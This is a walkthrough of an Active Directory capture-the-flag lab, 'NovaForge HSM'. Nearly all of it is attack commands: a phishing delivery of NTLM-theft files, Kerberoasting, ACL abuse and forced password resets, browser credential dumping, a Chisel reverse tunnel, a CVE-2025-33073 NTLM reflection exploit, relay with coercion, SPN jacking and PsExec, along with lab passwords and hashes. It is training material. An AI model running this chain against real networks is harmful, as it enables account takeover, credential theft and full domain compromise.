NovaForge HSM

IP
10.0.0.100 DC
10.0.0.101 STORAGEDomain/Host
novaforge.local
About
NovaForge HSM is a medium-difficulty Active Directory lab that simulates a modern enterprise environment with a strong focus on realistic attack paths and privilege escalation techniques. Players begin with a phishing-based foothold, capturing user credentials through a crafted social engineering scenario. From there, they must enumerate the environment, identify misconfigured Active Directory permissions, and abuse ACL relationships to compromise additional accounts and expand their access.
As the attack progresses, players will encounter multiple stages of lateral movement involving WinRM access, browser credential extraction, internal service enumeration, and SMB-related weaknesses. The lab also introduces more advanced concepts such as NTLM Reflection, Protected Users bypasses, SPN abuse, and delegation-related attacks. Successfully navigating these challenges requires chaining together information gathered from different systems and understanding how seemingly minor misconfigurations can lead to complete domain compromise.
NovaForge HSM is designed to teach both foundational and advanced Active Directory attack techniques while encouraging a methodology-driven approach to enumeration, privilege escalation, and domain dominance. It provides an engaging experience for players looking to strengthen their understanding of real-world Windows and Active Directory security weaknesses.

Nmap Results
10.0.0.100 DC
Nmap scan report for DC.novaforge.local (192.168.178.122)
Host is up (0.00037s latency).
Not shown: 65503 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: DC, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: NovaForge | Dark Enterprise Suite
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-03 13:41:56Z)
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: TOP UIDL USER
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: IMAP4rev1 CHILDREN IMAP4 SORT completed CAPABILITY OK QUOTA IDLE RIGHTS=texkA0001 NAMESPACE ACL
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: novaforge.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
587/tcp open smtp hMailServer smtpd
| smtp-commands: DC, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: novaforge.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49787/tcp open msrpc Microsoft Windows RPC10.0.0.101 STORAGE
Nmap scan report for storage.novaforge.local (192.168.178.177)
Host is up (0.00042s latency).
Not shown: 65521 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPCNmap scan report for storage.novaforge.local (192.168.178.177)
Host is up (0.00056s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
61052/tcp open msrpc Microsoft Windows RPC
61053/tcp open msrpc Microsoft Windows RPC
61057/tcp open msrpc Microsoft Windows RPCDC 10.0.0.100

Web Enumeration
We open http://10.0.0.100 in Browser
Nothin usefeull here

We perform virtual host fuzzing to discover hidden subdomains
ffuf -u http://10.0.0.100 -H "Host: FUZZ.novaforge.local" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 6956We found 2 subdomain jobs and intranet

We open http://intranet.novaforge.local/

We got a ⚠️ SECURITY WARNING: phishing emails with malicious .docm


We open http://jobs.novaforge.local/

Allowed File Types

We identified a mail address that could potentially be used to deliver a office macro Payload .docm

We Generate NTLM Theft Payload Files
python3 ntlm_theft.py -g all -s 192.168.210.2-f Resume

We start responder
responder -I tun0
We send a phishing email with a malicious attachment to gain initial access
swaks \
--to john.doe@novaforge.local \
--from zero@rootforce.com \
--server dc.novaforge.local \
--body "Hire Me" \
--attach @Resume-(stylesheet).xml

We crack the Hash
john --wordlist="/usr/share/wordlists/rockyou.txt" john.hash

We Identify Writable Active Directory Objects
(Update bloodyAD to the latest version by running git pull in the repository directory)
bloodyAD -u 'john.doe' -p 'johndoe1369' -d 'novaforge.local' --host 10.0.0.100 get writableWe discovered that our user has WRITE permissions on the Deleted Objects container, which allows us to interact with deleted Active Directory objects. Additionally, we have CREATE_CHILD rights on the Users container, enabling us to create new objects there.
Most importantly, we identified a deleted user account (m.lee) in the Deleted Objects container. Because we have the required permissions (WRITE, OWNER, and DACL WRITE), we can restore the deleted account back into Active Directory and regain access to it. This provides a path to recover previously removed users and potentially leverage their permissions during further enumeration.

We Restore the Deleted User Account
bloodyAD \
--host 10.0.0.100 \
-d novaforge.local \
-u john.doe \
-p johndoe1369 \
set restore \
"CN=m.lee\0ADEL:93ec6349-1919-424f-963c-5971a8832f62,CN=Deleted Objects,DC=novaforge,DC=local"
Bloodhound Enumeartion Part 1
We collect BloodHound data for AD analysis
bloodhound-python -u steve.wills -p 'steveusuck' -c All -d novaforge.local -ns 10.0.0.100 --zip
john.doe have GenercWrite to m.lee

m.lee have WriteDacl to steve.wills

Steve Wills has WriteOwner over the IT Support Users group

IT Support Users can reset passwords of multiple users

Noah Sanders has GenericAll over multiple users

Steve Miller have GenericAll to TIER1-Support OU

The TIER1-Support OU Contains 2 User

Ryan Collins is a member of Remote Management Users and a member of Tier 1 Remote Administrators

Daniel Brooks is a member of Remote Management Users and DNS Operations

Attack Chain 🔗
We Perform a Targeted Kerberoasting Attack
targetedKerberoast.py -d 'novaforge.local' -u 'john.doe' -p 'johndoe1369' --dc-ip '10.0.0.100'The $krb5tgs$18$ hash uses AES encryption, which is too strong to crack efficiently. We need to set SupportedEncryptionTypes to 4 (RC4)

We Force RC4 Encryption for the Target Account
bloodyAD \
--host 10.0.0.100 \
-d novaforge.local \
-u 'john.doe' \
-p 'johndoe1369' \
set object m.lee msDS-SupportedEncryptionTypes -v 4
We Perform a Targeted Kerberoasting Attack
targetedKerberoast.py -d 'novaforge.local' -u 'john.doe' -p 'johndoe1369' --dc-ip '10.0.0.100'

We try to crack the Hash
john --wordlist="/usr/share/wordlists/rockyou.txt" lee.hash

We Grant Full Control over the Target User Object
dacledit.py -action 'write' -rights 'FullControl' -principal 'm.lee' -target 'steve.wills' 10.0.0.100/m.lee:'0816mypassword'
We Grant GenericAll Permissions over the Target User
bloodyAD -u 'm.lee' -p '0816mypassword' -d 'novaforge.local' --host 10.0.0.100 add genericAll 'steve.wills' 'm.lee'
We Reset the Target User's Password
bloodyAD -u 'm.lee' -p '0816mypassword' -d 'novaforge.local' --host 10.0.0.100 set password 'steve.wills' 'pa$$w0rd'
We take ownership of the group
bloodyAD --host 10.0.0.100 -d 'novaforge.local' -u 'steve.wills' -p 'pa$$w0rd' set owner 'IT Support Users' 'steve.wills'
We grant full control over the group
dacledit.py -action 'write' -rights 'FullControl' -principal 'steve.wills' -target 'IT Support Users' 10.0.0.100/steve.wills:'pa$$w0rd'
We add ourselves to the group
bloodyAD -u 'steve.wills' -p 'pa$$w0rd' -d 'novaforge.local' --host 10.0.0.100 add groupMember "IT Support Users" 'steve.wills'
We reset the user’s password
bloodyAD -u 'steve.wills' -p 'pa$$w0rd' -d 'novaforge.local' --host 10.0.0.100 set password 'noah.sanders' 'pa$$w0rd12'
We Reset the Target User's Password
bloodyAD -u 'noah.sanders' -p 'pa$$w0rd12' -d 'novaforge.local' --host 10.0.0.100 set password 'steve.miller' 'pa$$w0rd'
We Grant GenericAll Permissions over the Tier 1 Support OU
bloodyAD -u 'steve.miller' -p 'pa$$w0rd' -d 'novaforge.local' --host 10.0.0.100 add genericAll 'OU=Tier1-Support,DC=NOVAFORGE,DC=LOCAL' 'steve.miller'
We reset the user’s password
bloodyAD -u 'steve.miller' -p 'pa$$w0rd' -d 'novaforge.local' --host 10.0.0.100 set password 'daniel.brooks' 'pa$$w0rd'User Flag

We gain a shell via WinRM
evil-winrm -i 10.0.0.100 -u 'novaforge.local\daniel.brooks' -p 'pa$$w0rd'
We read the user flag
type C:\Users\daniel.brooks\Desktop\user.txt

The Opera Browser is installed

Exfiltrate Opera profile data 🌐🔑

We download a browser credential dumping tool
wget https://github.com/Maldev-Academy/DumpBrowserSecrets/releases/download/v1.2.0/DumpBrowserSecrets.exe
We upload the credential dumping tool
upload DumpBrowserSecrets.exe
We extract browser-stored credentials
./DumpBrowserSecrets.exe /b:all /e:all /enc:0xCAFEBABE
We decrypt the extracted browser credentials
./DumpBrowserSecrets.exe /dec:0xCAFEBABE /i EncPack-26-04-06-105119.bin
We review extracted browser credentials
cat OperaData.json


Storage 10.0.0.101

NTLM Reflection
smbclient.py 'novaforge.local'/'ryan.collins':'821collins'@10.0.0.101
We Retrieve the Storage Access Overview Document
use shared
get StorageAccessOverview.pdf
We got a Hint that the Portal is running on localhost
The Pdf is from the SMB Share Shared on storage Server

We reset the user’s password
bloodyAD -u 'steve.miller' -p 'pa$$w0rd' -d 'novaforge.local' --host 10.0.0.100 set password 'ryan.collins' '821collins'
We gain access via WinRM as Ryan Collins
Ryan Collins is a member of Remote Management Users** and of Tier 1 Remote Administrators
evil-winrm -i 10.0.0.101 -u 'ryan.collins' -p '821collins'
We list active TCP connections and listening ports
netstat -ano -p tcp
Port 5000 is running and we can reach only local

We query the local web service endpoint
Invoke-RestMethod http://127.0.0.1:5000
A Website is Running

We upload chisel on the Target
upload chisel.exe
We start a reverse tunneling server with Chisel
chisel server -p 1338 --reverse
We establish a reverse tunnel with Chisel
./chisel.exe client 192.168.211.2:1338 R:5000:127.0.0.1:5000We open http://127.0.0.1:5000 in Browser
We AUTH with chuck.harrys PW= 666chucky
We open http://127.0.0.1:5000 in Browser
We AUTH with chuck.harrys PW= 666chucky
We identify that SMB signing can be disabled via the admin panel 🌐❌

We disable SMB signing via the admin panel

We got Hints that Daniel Brooks are Member of a DNS Admin Group

We check the signing Status 🌐
nxc smb 10.0.0.101 -u 'ryan.collins' -p '821collins'Yes signing is OFF ❌

https://github.com/mverschu/CVE-2025-33073
We prepare the exploit environment
source /usr/local/bin/CVE-2025-33073/venv/bin/activate
cd /usr/local/bin/CVE-2025-33073
We exploit CVE-2025-33073 to gain remote code execution on the target aka NTLM Reflection
python3 CVE-2025-33073.py -u 'novaforge.local\daniel.brooks' -p 'pa$$w0rd' --attacker-ip 192.168.211.2 --dns-ip 10.0.0.100 --dc-fqdn DC.novaforge.local --target storage.novaforge.local --target-ip 10.0.0.101
We dump LSA secrets using local administrator hash
nxc smb 10.0.0.101 -u Administrator -H 'd5cad8a9782b2879bf316f56936f1e36' --lsa --sam --local-auth
We got the PW of frank.white 1hatefrank
And the NTLM Hash of STORAGE 11ebacbfbe1a1f74f62c1b8848b23737

Manual Way
The User ryan.collins can login to storage.novaforge.local
So we can use this User for the NTLM Reflection Attack

We a DNS Record
bloodyAD --host 10.0.0.100 -d novaforge.local -u daniel.brooks -p 'pa$$w0rd' add dnsRecord --dnstype A localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.211.2
We perform an NTLM relay attack against the target service
impacket-ntlmrelayx -smb2support -t smb://storage.novaforge.localWe coerce authentication to trigger NTLM relay
Its Important to use the User ryan.collins here because him can login to storage.novaforge.local
nxc smb storage.novaforge.local -u 'ryan.collins' -p '821collins' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ALWAYS=true
We got the Admin Hash

Bloodhound Enumeration Part2
Frank White can reset svc_it_admins password

svc_it_admin has WriteSPN over the storage serverAnd the DC

svc_it_admin is allowed to delegate to the storage server

svc_it_admin is a member of Protected Users 🛡

In Inbound Controll of Protected User we can see that David.cokx can Remove User from Protected Users Group

We reset the password of the target account to gain control over it
bloodyAD -u 'frank.white' -p '1hatefrank' -d 'novaforge.local' --host 10.0.0.100 set password 'svc_it_admin' 'pa$$w0rd'
We dump PS outptut remotely to extract credentials from the target system
nxc smb 10.0.0.101 -u 'Administrator' -H 'd5cad8a9782b2879bf316f56936f1e36' -M powershell_history --local-auth
We found creds of david.cokx
User david.cokx PW= pa$$word12

We remove the target account from the Protected Users group to enable further attack techniques
bloodyAD -u 'david.cokx' -p 'pa$$word12' -d 'novaforge.local' --host 10.0.0.100 remove groupMember "Protected Users" 'svc_it_admin'PRIVESC via SPN Jacking
https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/

1️⃣We Cleared the SPN Configuration
addspn.py --clear -t 'STORAGE$' -u "NOVAFORGE\\STORAGE$" -p 'aad3b435b51404eeaad3b435b51404ee:32ee26974fc4692dc610acbc4cd3ae08' -dc-ip 10.0.0.100 DC.novaforge.local👉 This command Removes all SPNs from STORAGE$

2️⃣We Added a New SPN via LDAP
addspn.py -t 'DC$' --spn "HTTP/STORAGE.novaforge.local" -u "STORAGE\svc_it_admin" -p 'pa$$w0rd' -dc-ip 10.0.0.100 -t DC.novaforge.local DC.novaforge.localThis command - Adds the SPN HTTP/STORAGE.novaforge.localto the object DC$

3️⃣ We Requested a Service Ticket via S4U Impersonation
getST.py -spn HTTP/STORAGE.novaforge.local -impersonate Administrator 'novaforge.local/svc_it_admin:pa$$w0rd' -dc-ip 10.0.0.100 -altservice CIFS/DC.novaforge.local

✅ Command 1
addspn.py --clear -t 'STORAGE$' ...
👉 Removes all SPNs from the STORAGE account
➡️ STORAGE no longer has any SPNs assigned
✅ Command 2
addspn.py -t 'DC$' --spn "HTTP/STORAGE.novaforge.local" ...
👉 Adds the SPN HTTP/STORAGE.novaforge.local to the DC account
➡️ The SPN is now pointing to DC instead of STORAGE
🧠 Final result
👉 The SPN was moved from STORAGE to DC
➡️ SPN Hijacking
4️⃣ We Loaded the Administrator Kerberos Ticket into the Environment
export KRB5CCNAME=Administrator@CIFS_DC.novaforge.local@NOVAFORGE.LOCAL.ccache
5️⃣We AchievedRemote Code Execution via PsExec
psexec.py -k -no-pass DC.novaforge.localRoot Flag

We got the root Flag
type c:\Users\Administrator\Desktop\root.txt
